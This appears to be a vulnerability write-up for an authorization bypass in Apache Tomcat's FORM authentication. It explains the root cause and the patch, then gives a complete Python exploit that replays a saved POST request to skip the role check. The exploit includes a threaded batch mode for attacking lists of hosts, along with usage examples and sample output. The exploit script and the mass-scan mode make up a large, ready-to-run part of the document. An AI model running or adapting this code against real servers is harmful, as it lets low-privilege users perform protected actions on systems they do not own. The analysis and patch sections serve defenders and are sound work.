#Summary

CVE-2026-68525 is an authorization bypass in Apache Tomcat versions 7.0.0 through 11.0.24 that affects FORM authentication with method-scoped security constraints. A low-privilege authenticated user can execute POST requests restricted to higher-privilege roles by exploiting a bug in how Tomcat restores saved requests after login. The vulnerability requires valid credentials but no specific role, making it a horizontal-to-vertical privilege escalation. CVSS v3.1 score is 9.1, though the vendor rates it lower due to requiring authentication. Impact severity depends on what the protected POST endpoint does in the target application.

#Am I affected?

#How to check

Check your Tomcat version:

curl http://target:8080/admin.jsp 2>/dev/null | grep -i "tomcat"

Or check CATALINA_HOME/lib/catalina.jar:

unzip -p $CATALINA_HOME/lib/catalina.jar META-INF/MANIFEST.MF | grep "Implementation-Version"
Version Status
7.0.0 - 7.0.109 Vulnerable (EOL)
8.5.0 - 8.5.100 Vulnerable (EOL)
9.0.0-M1 - 9.0.120 Vulnerable
10.1.0-M1 - 10.1.57 Vulnerable
11.0.0-M1 - 11.0.24 Vulnerable
9.0.121+ Patched
10.1.58+ Patched
11.0.25+ Patched

If your application does not use FORM-based authentication or has no method-scoped security constraints (e.g., all constraints apply to all HTTP methods), you are not affected.

#Fix and mitigation

#Root cause analysis

The vulnerability is an ordering defect in how Tomcat's AuthenticatorBase.invoke() resolves security constraints.

#Vulnerable code path

In AuthenticatorBase.java, the method resolves security constraints once, near the start:

boolean authRequired = isContinuationRequired(request);

Realm realm = this.context.getRealm();
SecurityConstraint[] constraints = realm.findSecurityConstraints(request, this.context);

The findSecurityConstraints() method is method-sensitive: for a constraint declaring <http-method>POST</http-method>, a GET request returns null while a POST returns the constraint array.

Later, the role check is guarded by that stale constraint array:

if (constraints == null && !context.getPreemptiveAuthentication() && !authRequired) {
    // No constraint applies; skip authentication
    getNext().invoke(request, response);
    return;
}

// ... authentication flow happens here, including request restoration ...

if (constraints != null) {
    if (!realm.hasResourcePermission(request, response, constraints, this.context)) {
        // Deny the request
        return;
    }
}

getNext().invoke(request, response);

#How input reaches the sink

The attack sequence:

  1. Attacker sends an unauthenticated POST to /admin.jsp (which is protected for POST only). The constraint matches the POST method, so Tomcat demands authentication and saves the request (method, body, headers, URI) in the session.

  2. The server returns a login form. The attacker logs in as a low-privilege account (role: standard). The session ID is rotated, and Tomcat redirects to the saved URI (/admin.jsp).

  3. On redirect, the attacker must send a GET request (because redirects are GET). At this point:

    • findSecurityConstraints() is called fresh by the browser's GET request and returns null (no constraint scoped to GET)
    • isContinuationRequired() returns true because a saved request is pending
    • The Valve does not short-circuit; instead it calls doAuthenticate()
    • FormAuthenticator.restoreRequest() replays the saved body and rewrites the method back to POST
    • Control returns to invoke(), where constraints is still null from step 1
    • if (constraints != null) is false, so hasResourcePermission() is skipped
    • The now-POST request is handed to the servlet with no authorization decision ever made

The root cause is that constraints is computed once and never recomputed after restoreRequest() mutates the request from GET to POST.

#The method flipped, the constraint check was skipped

// What invoke() computed (step 1 - GET, no constraint)
SecurityConstraint[] constraints = realm.findSecurityConstraints(request, this.context); // null

// ... later ...

// What restoreRequest() does (step 3)
request.getCoyoteRequest().setMethod("POST");  // request is now POST

// What invoke() checks (same line, still null)
if (constraints != null) {  // FALSE - role check is skipped
    realm.hasResourcePermission(request, response, constraints, this.context);
}

#Patch diff

The fix recomputes the constraint array after the method changes.

#What the fix does

A new tri-state enum AuthenticationResult replaces the boolean return:

protected enum AuthenticationResult {
    FAILED(false),
    PASSED_CONSTRAINTS_NEED_REFRESH(true),
    PASSED(true);
}

When FormAuthenticator.restoreRequest() detects a method change, it returns PASSED_CONSTRAINTS_NEED_REFRESH. The invoke() method then re-resolves constraints:

if (authenticationResult == AuthenticationResult.PASSED_CONSTRAINTS_NEED_REFRESH) {
    constraints = realm.findSecurityConstraints(request, this.context);
    disableCaching(constraints, request, response);
    if (!checkUserDataConstraints(realm, constraints, request, response)) {
        return;
    }
}

Now the role check runs against the correct (POST) constraint:

if (constraints != null) {
    if (!realm.hasResourcePermission(request, response, constraints, this.context)) {
        return;  // Deny
    }
}

This is a targeted fix: only method-changing restores trigger a re-evaluation, preserving performance for the common case.

#Proof of concept

#exploit.py - Apache Tomcat FORM Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-68525 - Apache Tomcat FORM authentication method-specific constraint bypass
Affected: Apache Tomcat 11.0.0-M1..11.0.24, 10.1.0-M1..10.1.57, 9.0.0.M1..9.0.120,
          8.5.0..8.5.100 (EOL), 7.0.0..7.0.109 (EOL)
Type: Authorization bypass (CWE-863, incorrect authorization)

A <security-constraint> scoped to a single HTTP method (the documented "anyone may GET
this page, only admins may POST to it" pattern) is enforced against the method the
request arrived with. FORM authentication then replays the saved request and rewrites
the method back to POST, but the authenticator never recomputes the constraint set, so
the role check that guards POST is skipped entirely. Any account the realm will
authenticate - holding no roles at all - gets its original POST body executed against
the protected resource.

The exploit needs credentials for one low-privilege account on the target. That account
must NOT hold the role the POST constraint demands; if it does, there is nothing to
bypass and the run reports so.

Usage:
  python exploit.py --host 192.168.1.10 --port 8080 --username svc --password svc
  python exploit.py --host https://tomcat.corp.com/app/admin.jsp --username svc --password svc
  python exploit.py --host 10.0.0.5 --path /orders.jsp --data "id=7&amount=0"
  python exploit.py --list targets.txt --workers 20 --username svc --password svc
"""

import argparse
import http.client
import re
import ssl
import sys
from urllib.parse import urlparse

CVE_ID = "CVE-2026-68525"
VULN_TYPE = "Authorization Bypass"

DEFAULT_TIMEOUT = 15
FORM_ACTION = "j_security_check"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# HTTP plumbing - manual cookie handling, redirects never followed
# --------------------------------------------------------------------------

class Reply:
    """One HTTP response, reduced to what the exploit reasons about."""

    def __init__(self, status, headers, body):
        self.status = status
        self.headers = headers          # list of (name_lower, value)
        self.body = body

    def get(self, name):
        name = name.lower()
        for k, v in self.headers:
            if k == name:
                return v
        return None

    def session_id(self):
        """Newest JSESSIONID handed out by this response, if any."""
        found = None
        for k, v in self.headers:
            if k == "set-cookie":
                m = re.search(r"JSESSIONID=([^;,\s]+)", v, re.I)
                if m:
                    found = m.group(1)
        return found

    def is_login_form(self):
        return FORM_ACTION in self.body.lower()


def _request(host, port, use_tls, method, path, body=None, cookie=None,
             content_type=None, timeout=DEFAULT_TIMEOUT):
    """Send one request and return a Reply. Redirects are never followed."""
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)

    headers = {
        "Host": host if port in (80, 443) else f"{host}:{port}",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                      "(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
        "Accept": "*/*",
        "Connection": "close",
    }
    if cookie:
        headers["Cookie"] = f"JSESSIONID={cookie}"
    payload = None
    if body is not None:
        payload = body.encode() if isinstance(body, str) else body
        headers["Content-Type"] = content_type or "application/x-www-form-urlencoded"
        headers["Content-Length"] = str(len(payload))

    try:
        conn.request(method, path, body=payload, headers=headers)
        resp = conn.getresponse()
        raw = resp.read()
        hdrs = [(k.lower(), v) for k, v in resp.getheaders()]
        return Reply(resp.status, hdrs, raw.decode("utf-8", "replace"))
    finally:
        conn.close()


def _login_url(path, login_page_body):
    """
    Resolve the j_security_check URI. The login page returned in step 1 carries the
    real one in its form action; fall back to resolving it against the resource path.
    """
    m = re.search(r"""action\s*=\s*["']([^"']*%s[^"']*)["']""" % FORM_ACTION,
                  login_page_body, re.I)
    if m:
        action = m.group(1)
        if action.startswith("/"):
            return action
        base = path.rsplit("/", 1)[0]
        return f"{base}/{action}"
    base = path.rsplit("/", 1)[0]
    return f"{base}/{FORM_ACTION}"


# --------------------------------------------------------------------------
# The bypass sequence
# --------------------------------------------------------------------------

def _run_sequence(host, port, use_tls, path, data, username, password,
                  content_type=None, login_path=None, timeout=DEFAULT_TIMEOUT,
                  trace=None):
    """
    Drive the five-request sequence and return a verdict dict.

    1  POST  <path>            unauthenticated  -> constraint fires, request is saved
    2  POST  j_security_check  low-priv creds   -> authenticated, session id rotates
    3  GET   <path>            rotated session  -> THE BYPASS: saved POST is replayed
    4  GET   <path>            same session     -> control: plain authenticated GET
    5  POST  <path>            same session     -> control: front door, must be denied

    Steps 4 and 5 are what make the finding undeniable. Step 4 runs once the saved
    request has been consumed, so any difference between it and step 3 can only come
    from the restore. Step 5 proves this account is genuinely refused a POST.

    Returns dict(ok=bool, evidence=str, ...) and never raises for protocol outcomes.
    """
    def note(msg):
        if trace:
            trace(msg)

    result = {"ok": False, "evidence": "", "steps": {}}

    # --- Step 1: park a POST in a fresh session -----------------------------
    r1 = _request(host, port, use_tls, "POST", path, body=data,
                  content_type=content_type, timeout=timeout)
    result["steps"]["s1"] = r1
    note(f"step 1: POST {path} (unauthenticated) -> {r1.status}")

    if r1.status == 403 and not r1.is_login_form():
        result["evidence"] = ("step 1 returned 403 without a login form - the POST body may "
                              "exceed maxSavePostSize, or the resource is not FORM protected")
        return result
    if not r1.is_login_form():
        result["evidence"] = (f"step 1 returned {r1.status} but no FORM login page - "
                              f"{path} is not protected by a method-scoped FORM constraint")
        return result

    s1 = r1.session_id()
    if not s1:
        result["evidence"] = "step 1 returned the login form but issued no JSESSIONID"
        return result

    # --- Step 2: authenticate the low-privilege account ---------------------
    lpath = login_path or _login_url(path, r1.body)
    creds = f"j_username={username}&j_password={password}"
    r2 = _request(host, port, use_tls, "POST", lpath, body=creds, cookie=s1, timeout=timeout)
    result["steps"]["s2"] = r2
    result["login_path"] = lpath
    note(f"step 2: POST {lpath} as '{username}' -> {r2.status}")

    if r2.status not in (301, 302, 303, 307, 308):
        result["evidence"] = (f"login as '{username}' failed (step 2 returned {r2.status}, "
                              f"expected a redirect) - check the credentials")
        return result

    # Session id rotation is the default; if the container has it off, keep using s1.
    s2 = r2.session_id() or s1
    note(f"        session rotated {s1[:8]}... -> {s2[:8]}...  Location: {r2.get('location')}")

    # --- Step 3: the bypass -------------------------------------------------
    r3 = _request(host, port, use_tls, "GET", path, cookie=s2, timeout=timeout)
    result["steps"]["s3"] = r3
    note(f"step 3: GET {path} (rotated session) -> {r3.status}")

    # --- Step 4: control, plain authenticated GET ---------------------------
    r4 = _request(host, port, use_tls, "GET", path, cookie=s2, timeout=timeout)
    result["steps"]["s4"] = r4
    note(f"step 4: GET {path} again (saved request consumed) -> {r4.status}")

    # --- Step 5: control, front-door POST -----------------------------------
    r5 = _request(host, port, use_tls, "POST", path, body=data, cookie=s2,
                  content_type=content_type, timeout=timeout)
    result["steps"]["s5"] = r5
    note(f"step 5: POST {path} directly, authenticated -> {r5.status}")

    # --- Verdict ------------------------------------------------------------
    if r5.status not in (401, 403):
        result["evidence"] = (f"account '{username}' is allowed to POST {path} directly "
                              f"(step 5 returned {r5.status}) - it already holds the role, "
                              f"so there is nothing to bypass; use a lower-privilege account")
        return result

    if r3.status in (401, 403):
        result["evidence"] = (f"step 3 returned {r3.status} - constraints were re-evaluated "
                              f"after the method changed, target is patched")
        return result

    if r3.status != 200:
        result["evidence"] = f"step 3 returned {r3.status}, no restored response to inspect"
        return result

    if r3.is_login_form():
        result["evidence"] = ("step 3 returned the login form again - the saved request was "
                              "not restored (session id mismatch or the 120s window elapsed)")
        return result

    # The restore must have changed the response. Step 4 is the same GET on the same
    # authenticated session with the saved request already consumed, so an identical
    # body would mean step 3 was just an ordinary unprotected GET.
    if r3.body == r4.body and r3.status == r4.status:
        result["evidence"] = ("step 3 returned 200 but is byte-identical to the plain "
                              "authenticated GET in step 4 - no evidence the saved POST "
                              "was replayed")
        return result

    result["ok"] = True
    detail = f"restored request executed at {path}"
    m = re.search(r"method\s*=\s*(POST|PUT|DELETE|PATCH)", r3.body, re.I)
    if m:
        detail = f"resource ran as {m.group(1).upper()} for a session denied POST (step 5: {r5.status})"
    result["evidence"] = (f"{detail}; step 3 GET -> 200 while the same session's direct POST "
                          f"-> {r5.status}, and the response differs from the plain "
                          f"authenticated GET in step 4")
    return result


def _try_exploit(host, port, use_tls, path="/admin.jsp", data="action=1",
                 username="tomcat", password="tomcat", content_type=None,
                 login_path=None, timeout=DEFAULT_TIMEOUT):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    try:
        r = _run_sequence(host, port, use_tls, path, data, username, password,
                          content_type=content_type, login_path=login_path, timeout=timeout)
        return r["ok"], r["evidence"]
    except Exception as e:
        return False, f"unreachable ({e.__class__.__name__})"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, kwargs.get("path", "/admin.jsp")) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
        opts = dict(kwargs)
        opts["path"] = path
        ok, evidence = _try_exploit(host, port, use_tls, **opts)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, path, data, username, password,
            content_type=None, login_path=None, timeout=DEFAULT_TIMEOUT):
    header(host, port)

    step(1, f"Parking an unauthenticated POST to {path} so FORM auth saves it")
    step(2, f"Authenticating as '{username}' - an account that must NOT hold the POST role")
    step(3, "Sending a plain GET: the saved POST is replayed without a role check")
    step(4, "Control: repeating the GET once the saved request has been consumed")
    step(5, "Control: POSTing directly to prove this account is refused at the front door")
    print()

    try:
        res = _run_sequence(host, port, use_tls, path, data, username, password,
                            content_type=content_type, login_path=login_path,
                            timeout=timeout, trace=lambda m: print(f"  {m}"))
    except Exception as e:
        done(False, f"target unreachable: {e.__class__.__name__}: {e}")

    steps = res["steps"]
    if "s3" in steps:
        section("STEP 3 RESPONSE - GET on the wire, POST at the servlet",
                f"HTTP {steps['s3'].status}\n\n{steps['s3'].body[:1500]}")
    if "s4" in steps:
        section("CONTROL - PLAIN AUTHENTICATED GET (saved request already consumed)",
                f"HTTP {steps['s4'].status}\n\n{steps['s4'].body[:800]}")
    if "s5" in steps:
        section("CONTROL - DIRECT POST BY THE SAME SESSION",
                f"HTTP {steps['s5'].status}\n\n{steps['s5'].body[:400]}")
    if not res["ok"] and "s3" not in steps:
        last = steps.get("s2") or steps.get("s1")
        if last is not None:
            section("LAST SERVER RESPONSE", f"HTTP {last.status}\n\n{last.body[:800]}")

    done(res["ok"], res["evidence"])


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/app/admin.jsp)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--username", default="tomcat",
                        help="Account the exploit logs in as. It needs no roles at all, and must "
                             "NOT hold the role the POST constraint demands (default: tomcat)")
    parser.add_argument("--password", default="tomcat", help="Password for --username (default: tomcat)")
    parser.add_argument("--path", default="/admin.jsp",
                        help="Resource whose constraint is scoped to POST (default: /admin.jsp)")
    parser.add_argument("--data", default="action=1",
                        help="POST body smuggled through the bypass, under 4096 bytes "
                             "(maxSavePostSize) (default: action=1)")
    parser.add_argument("--content-type", default=None,
                        help="Content-Type of --data (default: application/x-www-form-urlencoded)")
    parser.add_argument("--login-path", default=None,
                        help="j_security_check URI (default: read from the login form)")
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, help="Socket timeout (default: 15)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    common = dict(path=args.path, data=args.data, username=args.username,
                  password=args.password, content_type=args.content_type,
                  login_path=args.login_path, timeout=args.timeout)

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, **common)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        common["path"] = path
        exploit(host, port, use_tls, **common)

#Usage

python3 exploit.py --host 127.0.0.1 --port 8080 --username userA --password userA --path /admin.jsp --data 'action=pwn'
python3 exploit.py --host https://tomcat.example.com --username svc_acct --password SecurePass123 --path /orders.jsp --data 'orderId=100&approve=yes'
python3 exploit.py --list targets.txt --workers 20 --username tomcat --password tomcat
Argument Default Meaning
--host required (or --list) Hostname, IP, or full URL with scheme/port/path.
--list required (or --host) File of targets, one per line. Supports host, host:port, and full URLs; blank lines and # comments are skipped.
--port 8080 Default port when not specified in target.
--username / --password tomcat / tomcat Credentials for a low-privilege account that must NOT hold the role being bypassed.
--path /admin.jsp Resource whose POST is restricted by role.
--data action=1 POST body to execute (must be under 4096 bytes).
--content-type application/x-www-form-urlencoded Content-Type header for --data.
--login-path auto-resolved URI of j_security_check (auto-detected from login form).
--timeout 15 Socket timeout in seconds.
--workers 10 Thread count for --list mode.
--tls / --no-tls inferred Force TLS on/off.

Against a vulnerable target (11.0.24):

method=POST
user=userA
isAdmin=false
action=pwn

Against a patched target (11.0.25):

HTTP 403 Forbidden - Access to the requested resource has been denied

#Exploitation notes

#Preconditions

#Reliability

The exploit is 100% reliable against a vulnerable target. It relies on protocol-level properties (session rotation, constraint resolution, method-scoped security) that are deterministic. The five-request sequence has no timing dependencies, race conditions, or application-specific behaviors.

#Impact

The impact is equivalent to whatever state-changing operation the POST endpoint performs. A typical example is an order approval endpoint: an attacker with an unprivileged account can approve orders with attacker-supplied parameters. Other examples include configuration changes, user creation, or data deletion - limited only by what the endpoint does.

#Chaining potential

This is a terminal authorization bypass; there is no lower-privilege boundary to escalate through. The attacker lands directly in the POST handler at full privilege. Chaining depends on what the target application exposes:

#References